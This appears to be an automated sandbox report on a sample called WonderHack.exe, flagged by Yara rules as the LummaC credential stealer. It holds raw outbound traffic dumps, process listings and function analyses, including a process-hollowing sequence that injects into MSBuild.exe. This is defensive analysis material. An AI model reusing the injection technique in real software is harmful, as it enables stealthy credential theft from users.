d2 12 af 72 1f 8d 36 b3 9e c5 b5 df d1 fb 84 ca 3b 21 5f 24 d1 9e f4 45 5d 55 51 6f fe 2e 00 62 70 73 18 71 93 2a 9f e8 1d 7a dc 93 5b 40 13 b0 97 0b 7c 39 82 Data Ascii: `-%?+ppPa87+s[x38:T^4l2{p{w@.uP wcA5apV,w>q;cL9FXnz&v.fkaWYIvDtlET=oMa \|7r6;!_$E]UQo.bpsq*z[@\|9
2024-12-22 23:49:26 UTC	15331	OUT	Data Raw: c1 b3 d9 1e 19 e1 1c 8e 2f 0e 2e 78 e6 2f 5f d2 df 11 45 7e ec 8a 2a 34 ce 60 e4 5d c1 dd 49 dc 9d d9 13 bd d4 06 80 80 2c 14 86 8a c8 85 01 de 8c 18 bd 1f 8d 20 32 19 4e 10 73 c3 c9 46 fc 78 5f ff 6b bf 2c 44 be 21 d8 b3 f5 bf 22 e4 ff 75 53 c6 71 8e f2 34 07 40 f9 26 0f 3b cf 9d cd 69 a7 a0 58 e4 cf 0f 1e ce 94 dd cc f3 21 52 6a 1f b6 66 5e e3 05 87 d5 f9 60 04 c8 b8 be a6 43 fa af fd 90 10 8b c7 72 1d dd 6e f5 9b 93 da da 7c fc ed 41 9d 55 c9 99 a0 3c a1 51 2c 38 0b d9 73 01 b3 55 84 96 cb 0d 19 48 99 5e 44 da 87 f3 47 08 4f 5d f3 53 03 ce e8 95 6b 13 bd 95 c8 2d f9 39 14 e8 d2 8b 18 1a 1f 20 b7 5f cc 6c 8c 10 1a 3b 7d 25 0d 92 12 3c 02 e7 58 18 7d 46 d2 15 05 12 fb c3 8f 5e 38 01 aa b9 46 2f f2 dd 83 ee 7a 4a 3c 39 1c 86 0c 13 c5 b9 fe 59 fb 6a 3d 20 Data Ascii: /.x/_E~*4`]I, 2NsFx_k,D!"uSq4@&;iX!Rjf^`Crn\|AU<Q,8sUH^DGO]Sk-9 _l;}%<X}F^8F/zJ<9Yj=
2024-12-22 23:49:26 UTC	15331	OUT	Data Raw: 6c 0d 69 cf a9 94 0b 82 75 c2 40 b3 5b 88 14 bf 29 f6 13 d6 e9 f2 c2 65 d6 23 fb e2 ee 35 d9 36 2b e3 fd fb f1 b9 6f 60 49 e7 e4 3d 60 64 0c e0 65 79 a6 bb 35 20 b8 32 b1 fb b7 d3 58 4d a6 44 61 ee 31 58 9c ff 52 ea 7e fc 31 d8 5f a9 14 17 8c 2c 45 6a b3 f4 c3 2a 67 4e 4f 93 2d b1 f3 47 eb 15 b1 4d 8c ec cc d2 78 c0 e3 e4 c4 39 cc 32 42 68 1e c6 5c 7f 76 98 5d a4 e2 a9 e9 cb 39 c1 fe 1e 48 d1 fc 08 da 1a 83 bb 96 9b aa 67 78 f6 2d 99 bf 35 4f 42 e2 11 54 ed 3d 38 5c 92 8a a9 42 7a 98 7e 0b aa 44 a0 61 48 29 60 66 f4 87 2b d7 f1 8c 43 76 48 c6 68 51 92 8e 72 f0 22 a7 88 89 3d 3e 8c e9 8a a1 e2 f7 f6 db 72 c6 a1 5a 85 ca a7 a4 71 3d 18 b4 5b a7 05 e3 b7 3a 69 56 f8 8a 45 fa 93 a8 08 90 f1 f7 b9 bf 44 58 a5 18 10 78 51 1c 0f e1 a9 24 bb 20 65 c7 4f 55 82 a5 Data Ascii: liu@[)e#56+o`I=`dey5 2XMDa1XR~1_,Ej*gNO-GMx92Bh\v]9Hgx-5OBT=8\Bz~DaH)`f+CvHhQr"=>rZq=[:iVEDXxQ$ eOU
2024-12-22 23:49:26 UTC	15331	OUT	Data Raw: 47 be 6c da 1d 54 d9 c1 e3 10 8f 6a 10 cd 61 b8 fd 5b 14 1e b9 58 ae 03 e7 7b 2f 5f 84 cd 10 40 4a a7 2e 37 25 2b 67 7d d2 66 b4 c2 88 b3 13 1d 62 a4 1a 93 2f 21 e5 d8 00 89 4a f9 23 50 fb 49 21 06 db 5f 2f 19 0a 15 dc 7a 1d 4f b3 d5 01 10 27 e1 33 67 b9 2f 37 74 fd bb 7d 82 34 b0 ac 9e 7e cc 0f e6 f4 61 03 4a 20 f8 10 92 02 31 86 a3 44 40 63 11 65 af 6e ef 07 17 72 c9 d2 fb 77 ed 5f 57 ed 1e d8 0d 0f 0d c0 58 03 de ad 67 3c 6a 36 27 00 90 cb 06 4b 51 f2 8f 8d de dd b8 c5 09 74 b9 4a b1 1a 4e 25 81 a2 b4 e1 99 a6 bc 8f 3a 26 24 34 cf 0d 01 af 61 1d 0b 0f 97 d9 8f 5c ec 82 41 af 71 11 d2 62 46 60 74 ea dd d5 f6 bd 71 ea 23 59 72 88 bb 3e 96 d4 8c a0 d6 1f 22 3c 2d bd b2 2f 78 03 56 d5 b3 21 70 2c 8a f2 bf 4e c8 73 72 22 ff bb 8c f4 44 07 0a 92 85 e4 00 ad Data Ascii: GlTja[X{/_@J.7%+g}fb/!J#PI!_/zO'3g/7t}4~aJ 1D@cenrw_WXg<j6'KQtJN%:&$4a\AqbF`tq#Yr>"<-/xV!p,Nsr"D
2024-12-22 23:49:26 UTC	15331	OUT	Data Raw: 61 39 15 01 b7 0a 6f fc 79 6e b1 3b fc fc 69 60 0e 6a 8b 1e 7e f5 b1 19 55 a5 29 26 1c 50 ef d3 05 46 bf 76 07 ad 04 2c e2 56 75 be 0e 0a 84 84 87 2f 0c 0e f9 20 d8 50 8f 52 69 f1 b2 db 9c 4c 45 19 af c6 27 63 b2 a8 61 ac 9b 92 fa 73 b3 6a 7e 3a 86 c3 74 33 5e bc 38 c5 9c 6e b9 8b 00 c6 26 e9 41 3f 16 af 6f bd 32 e2 45 23 f5 c3 d9 fd 25 5f 33 fb f5 63 b1 07 a8 2a ec b1 c3 e9 a7 3f 32 3d de 87 74 b4 41 b7 37 93 7f 0a 59 b2 66 92 f9 4b de 9b b8 a7 5a 9f 50 a3 df bf fc 68 f8 09 68 a9 3c bc f1 8f dd e3 f4 fc 73 42 ac e1 3d d0 76 76 6f d5 34 9f a2 ec c6 9c e1 86 8c ed 8a 9d 46 81 f9 a2 ee cb ce 8b 4e ab ba 31 dc cd 9c a1 a2 04 d6 96 8e 10 d9 95 74 b8 ea 61 35 e7 0c f4 ca 7f 7d 63 28 e4 0a 38 58 56 dd e6 cd 9e 7e 78 20 b7 a6 73 4d 87 93 57 69 a3 39 32 38 fa e5 Data Ascii: a9oyn;i`j~U)&PFv,Vu/ PRiLE'casj~:t3^8n&A?o2E#%_3c*?2=tA7YfKZPhh<sB=vvo4FN1ta5}c(8XV~x sMWi928
2024-12-22 23:49:26 UTC	15331	OUT	Data Raw: fa 6d c7 ca a6 3c 16 1f ef 14 06 51 9b 25 9f c2 ed de cd 25 32 12 c7 c4 e7 f4 45 42 d7 38 ce d2 60 dd 4d 1d 10 55 08 cc 89 f5 ac bd b6 6e 02 12 02 08 d9 d3 67 d9 26 7e 50 e9 5d ac cf d3 74 e9 db 0e 96 19 4e d9 46 c2 c2 b0 cd 70 55 54 c8 d9 6f d5 97 1f 28 85 7b 6e 96 24 90 d1 d1 06 3c 31 71 17 93 37 cd 8c 51 61 c6 46 88 1c f6 52 75 0a a6 51 af c0 22 34 e8 a9 fa 66 a3 f6 61 66 93 e0 88 09 c9 5c bb 69 b9 4d 4d 5b 95 91 ca cb 9e a7 12 30 0f b1 05 d2 a1 ee 9f 92 0b 12 75 c0 8c c1 08 a7 82 69 8c 9c 3b 40 36 56 d4 9f 12 b3 44 47 96 61 c4 85 5f 2a c2 b8 cd 76 48 4f ad c0 16 52 e9 0b 4b 5d 93 c9 74 d6 7b af c9 d8 83 6d 1c a5 c4 2f 1f 58 bf 3b 24 26 84 f6 fb 7d a8 03 10 d3 c2 2f 46 7e 4d d4 4e 42 13 e5 91 1d 1d 14 29 17 e2 4f 7a e1 52 dd 41 64 c0 63 c8 aa 31 5b 67 Data Ascii: m<Q%%2EB8`MUng&~P]tNFpUTo({n$<1q7QaFRuQ"4faf\iMM[0ui;@6VDGa_*vHORK]t{m/X;$&}/F~MNB)OzRAdc1[g
2024-12-22 23:49:26 UTC	15331	OUT	Data Raw: 5a 1c 9c 3f 5f 30 18 ec be e4 1b 51 53 3b 3d 7a 72 5c 9f f9 52 f6 89 c2 68 80 df 68 88 8a 70 df 89 a0 fa c8 a7 dc 65 52 88 3e 33 c2 12 19 92 d8 cd e8 1b 5e db 49 63 fa 66 70 22 0e b8 be 6d ac 3d 5f f0 8e a1 1f 52 76 8a 3d b8 e8 7e ab c4 5c f6 b8 c9 97 86 f7 77 b3 6e cd 18 16 04 e0 f3 3a a7 cd 31 0b 9f ec c8 e7 6d 72 13 6a 9e 0a 0e 6d 34 48 0d f7 19 36 b8 e1 17 e6 f1 ac 7b 24 19 3f fb 0a 4b 8b 60 37 7f 58 cb 64 e5 8f 9c da 09 e2 47 3f 43 54 22 43 a3 68 87 50 03 1f b8 09 fd 05 7f 0e fe e7 3e 8b 8d 57 0e 9a f0 78 c7 ca df 26 a7 61 24 64 26 8d 32 0d a0 53 df cf 99 4c b0 b8 86 73 37 92 d9 8b 0a e0 91 c9 d3 dd 21 a2 8a 70 f2 da 4f 40 70 73 18 36 bb db d0 80 86 13 83 8d c6 aa a3 fb 8b 31 7e 5c 25 eb 9a 12 24 26 b8 e7 c9 1a 33 09 f9 10 5c a4 fe aa 5a 6e 96 c0 b2 Data Ascii: Z?_0QS;=zr\RhhpeR>3^Icfp"m=_Rv=~\wn:1mrjm4H6{$?K`7XdG?CT"ChP>Wx&a$d&2SLs7!pO@ps61~\%$&3\Zn
2024-12-22 23:49:29 UTC	1129	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 23:49:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=16j81ge0ni8a8g3k8oov9or7qo; expires=Thu, 17 Apr 2025 17:36:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bg8fXYVtWalfsoLju%2BSA3SaUuDoONQqcAI0cFYNbgiGunm8I2lNBVCRGFeXHubLhuW3Yfee8nGx8reYKpENu7PVQ0ELOlDQKQnDDZpRcJzdmlsW2qteEPagD5rXnAvQ0Umc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6402284e075e65-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1576&min_rtt=1568&rtt_var=604&sent=212&recv=616&lost=0&retrans=0&sent_bytes=2836&recv_bytes=590298&delivery_rate=1787025&cwnd=242&unsent_bytes=0&cid=b0e0e7fe4387bd49&ts=2825&x=0"

Target ID:	0
Start time:	18:48:00
Start date:	22/12/2024
Path:	C:\Users\user\Desktop\WonderHack.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\WonderHack.exe"
Imagebase:	0xc90000
File size:	573'952 bytes
MD5 hash:	65FC002AB58B0DC2E95E19B1F308A354
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.1704771432.0000000002F51000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	18:48:00
Start date:	22/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:48:00
Start date:	22/12/2024
Path:	C:\Users\user\Desktop\WonderHack.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\WonderHack.exe"
Imagebase:	0xc90000
File size:	573'952 bytes
MD5 hash:	65FC002AB58B0DC2E95E19B1F308A354
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.2527201915.0000000000F51000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000002.00000002.2584594143.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.5%
Dynamic/Decrypted Code Coverage:	1.6%
Signature Coverage:	2.9%
Total number of Nodes:	512
Total number of Limit Nodes:	12

Executed Functions

Function 00CCF19E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00CCF110,00CCF100), ref: 00CCF334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00CCF347
Wow64GetThreadContext.KERNEL32(00000094,00000000), ref: 00CCF365
ReadProcessMemory.KERNELBASE(0000008C,?,00CCF154,00000004,00000000), ref: 00CCF389
VirtualAllocEx.KERNELBASE(0000008C,?,?,00003000,00000040), ref: 00CCF3B4
WriteProcessMemory.KERNELBASE(0000008C,00000000,?,?,00000000,?), ref: 00CCF40C
WriteProcessMemory.KERNELBASE(0000008C,00400000,?,?,00000000,?,00000028), ref: 00CCF457
WriteProcessMemory.KERNELBASE(0000008C,?,?,00000004,00000000), ref: 00CCF495
Wow64SetThreadContext.KERNEL32(00000094,01320000), ref: 00CCF4D1
ResumeThread.KERNELBASE(00000094), ref: 00CCF4E0

Strings

VirtualAllocEx, xrefs: 00CCF29C
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 00CCF333
Load, xrefs: 00CCF1DA
GetP, xrefs: 00CCF21E
VirtualAlloc, xrefs: 00CCF263
TerminateProcess, xrefs: 00CCF3C3
ReadProcessMemory, xrefs: 00CCF289
WriteProcessMemory, xrefs: 00CCF2AF
GetThreadContext, xrefs: 00CCF276
CreateProcessW, xrefs: 00CCF250
ress, xrefs: 00CCF226
aryA, xrefs: 00CCF1E2
ResumeThread, xrefs: 00CCF2D8
SetThreadContext, xrefs: 00CCF2C2

Memory Dump Source

Source File: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 60c01acf7334d6dbccf07252e0dbd644d1a8ba4fcbf3070932fc1f88295289c4
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: CEB1F97660064AAFDB60CF58CC80FDA73A5FF88714F158168EA18AB341D774FA52CB94

Function 00CB40F9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,0BDF5ED4,?,00CB4208,00C93E32,?,00000000,?), ref: 00CB41BA

Strings

ext-ms-, xrefs: 00CB4164
api-ms-, xrefs: 00CB4150

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 26c1a4c0f3027a30b2203c62a0b8baefb936c1634631ecc20d065465bd8806d3
Instruction ID: e28c7acc859043e82cf6c20a4b612acca1b0639de4cf22b53c8a2067914b7a76
Opcode Fuzzy Hash: 26c1a4c0f3027a30b2203c62a0b8baefb936c1634631ecc20d065465bd8806d3
Instruction Fuzzy Hash: 9A21E736E05211ABD7259B69DC44FDE3768DF617A0F240221F926A7292E730EF41C6E0

Function 00C91890 Relevance: 9.2, APIs: 6, Instructions: 162
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00C91913
GetFileSize.KERNEL32 ref: 00C91942
CloseHandle.KERNEL32 ref: 00C9195E

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: ff2df82defd979c00d4827294a6fb9d668e3f65475ca4c3da52d3939b6f7d968
Instruction ID: a17e3361f0eebdef3af01126ff273547aec2ff77126b8c305540c6c81ef59345
Opcode Fuzzy Hash: ff2df82defd979c00d4827294a6fb9d668e3f65475ca4c3da52d3939b6f7d968
Instruction Fuzzy Hash: 1F71C0B4D05249CFDB00EFA8D58979DBBF0BF08304F14842AE899AB390D734A945DF52

Function 00C98730 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strcspn.LIBCMT ref: 00C98890
_strcspn.LIBCMT ref: 00C988BE

Strings

@, xrefs: 00C98B89

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: _strcspn
String ID: @
API String ID: 3709121408-2766056989
Opcode ID: d1aafd0dfb41862d66d9eb0839fdcaa209f96a213a209573a15a3627c0592fe5
Instruction ID: 9b4531097932b68ca07d869a9af3f383784a0ab4bc1ea743a0fa9b2a0f305710
Opcode Fuzzy Hash: d1aafd0dfb41862d66d9eb0839fdcaa209f96a213a209573a15a3627c0592fe5
Instruction Fuzzy Hash: F932E2B4904269CFCB24DF64C985B9DBBF1BF49300F0585AAE889A7341D730AE85DF91

Function 00C91730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 00C91798
VirtualProtect.KERNELBASE ref: 00C91848

Strings

@, xrefs: 00C9183C

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: ConsoleFreeProtectVirtual
String ID: @
API String ID: 621788221-2766056989
Opcode ID: ebac94ed2751e3d9e19c8277d8e0b77012f9df2ab979ca86fa3223fc368467d2
Instruction ID: edc25fba559f289bffe5deee0df9afc1bc69aaf4de3e81e145e7a0ffd77c6118
Opcode Fuzzy Hash: ebac94ed2751e3d9e19c8277d8e0b77012f9df2ab979ca86fa3223fc368467d2
Instruction Fuzzy Hash: 7C41E2B0D012099FCB04DFA9E48979EBBF0EF48314F15841AE858AB351D774A945CF95

Function 00CACAD7 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00CAC9E4,?,00CACB99,00000000,?,?,00CAC9E4,0BDF5ED4,?,00CAC9E4), ref: 00CACAE8
TerminateProcess.KERNEL32(00000000,?,00CACB99,00000000,?,?,00CAC9E4,0BDF5ED4,?,00CAC9E4), ref: 00CACAEF
ExitProcess.KERNEL32 ref: 00CACB01

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: e9107ca6adb4b38642286b9ce8e1e87ed94561d6ea168791856c5832664b47f3
Instruction ID: a254adccbeae50df102a8fdeb025ab6bfaf106b1225afdd525d7b24770857724
Opcode Fuzzy Hash: e9107ca6adb4b38642286b9ce8e1e87ed94561d6ea168791856c5832664b47f3
Instruction Fuzzy Hash: 96D09231000109ABCF01AF60ED4DEAD3F6AEF41389B044024F91A5A1B1DF719D92FA90

Function 00CBAD2D Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CBB0D7: GetConsoleOutputCP.KERNEL32(0BDF5ED4,00000000,00000000,?), ref: 00CBB13A

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,?,?,?,00CAA691,?,00CAA8F3), ref: 00CBAEB2
GetLastError.KERNEL32(?,00CAA691,?,00CAA8F3,?,00CAA8F3,?,?,?,?,?,?,?,?,?,?), ref: 00CBAEBC

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 6f536668ab7e515bba6e41e8d367a554caee8a3362fde0cb2d3d0df1d890ed22
Instruction ID: ed2120fedaf663c26f1c6f1866f46ca3904faef9f8ce7bf5ab65d52cfe988d26
Opcode Fuzzy Hash: 6f536668ab7e515bba6e41e8d367a554caee8a3362fde0cb2d3d0df1d890ed22
Instruction Fuzzy Hash: E261B0B1D00159AFDF11CFA8C884EFEBBB9AF19304F140159E954A7252D372DE11DBA2

Function 00CBB506 Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,00CBAE98,?,00CAA8F3,?,?,?,00000000), ref: 00CBB5A2
GetLastError.KERNEL32(?,00CBAE98,?,00CAA8F3,?,?,?,00000000,?,?,?,?,?,00CAA691,?,00CAA8F3), ref: 00CBB5C8

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: b99a32090b300fb5d9825fb9b3b3898ea79d30c6e50dbd928701ad632cccd945
Instruction ID: a78c4d5a8cdd8112473116a825e5e3007499efe7603f050be6d175753310a9ba
Opcode Fuzzy Hash: b99a32090b300fb5d9825fb9b3b3898ea79d30c6e50dbd928701ad632cccd945
Instruction Fuzzy Hash: 9C21B134A002199FCF25CF19DC80AEDB7B9EB59305F1441AAE906D7211D770EE46CF61

